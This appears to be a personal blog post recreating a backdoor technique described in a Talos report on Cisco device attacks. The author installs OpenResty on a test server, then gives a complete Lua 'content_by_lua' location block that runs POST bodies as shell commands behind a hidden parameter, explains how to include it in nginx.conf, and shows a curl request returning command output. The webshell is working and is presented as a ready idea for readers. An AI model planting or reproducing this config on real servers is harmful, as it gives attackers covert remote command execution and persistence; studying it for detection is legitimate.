Backdooring OpenResty Servers

Just a quick note from an experiment I ran while reading this blog post from Talos about the ongoing Cisco shitshow.

I noticed the attackers used a configuration directive for the OpenResty webserver to basically add a webshell - something I was not familiar with as a persistence technique.

So lets try it out!

First thing I did was quickly install openresty on a Debian VPS, for this test. I've pasted the steps below, which I blatantly robbed from Linode.

apt update
apt upgrade
apt install --no-install-recommends wget gnupg ca-certificates
wget -O - https://openresty.org/package/pubkey.gpg | apt-key add -
codename=`grep -Po 'VERSION="[0-9]+ \(\K[^)]+' /etc/os-release`
echo "deb http://openresty.org/package/debian $codename openresty" | tee /etc/apt/sources.list.d/openresty.list
apt update
apt install openresty
systemctl status openresty

Ok, we now have OpenResty installed.

We quickly knock up a "webshell" config file - much like the one from the Cisco backdoor blog post, and drop it in /usr/local/openresty/nginx/conf/hackme.conf.

root@openresty:/usr/local/openresty/nginx/conf# cat hackme.conf 
location /hack/the/planet {
	add_header Content-Type text/html;
	content_by_lua '
		local content = ""
		local method = ngx.req.get_method()
		local params = ngx.req.get_uri_args()
		if (method == "POST" and params ~= nil) then
			ngx.req.read_body()
			local body = ngx.req.get_body_data()
			if (params["hack"] == "planet") then
			    local f = io.popen(body, "r")
			    if (f ~= nil) then
			        content = f:read("*all")
			        f:close()
			    end
			end
	    end
	    ngx.status = 200
	    ngx.say(content)
        ';
}

Now, by itself, this configuration file does precisely fuck all. The default OpenResty configuration doesn't have an 'include everything here' folder of endpoints. So, we have to modify the nginx.conf file, by adding the line include hackme.conf somewhere in the server directive.

In many cases, people will have a folder with a configuration file per endpoint or some such.

We restart openresty, and lets try our webshell!

# curl -X POST -d 'id;uname -a;pwd' localhost/hack/the/planet?hack=planet
uid=65534(nobody) gid=65534(nogroup) groups=65534(nogroup)
Linux openresty 6.1.0-10-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.38-1 (2023-07-14) x86_64 GNU/Linux
/

We have code execution. Simple.

Hopefully this gives you some ideas. Until next time!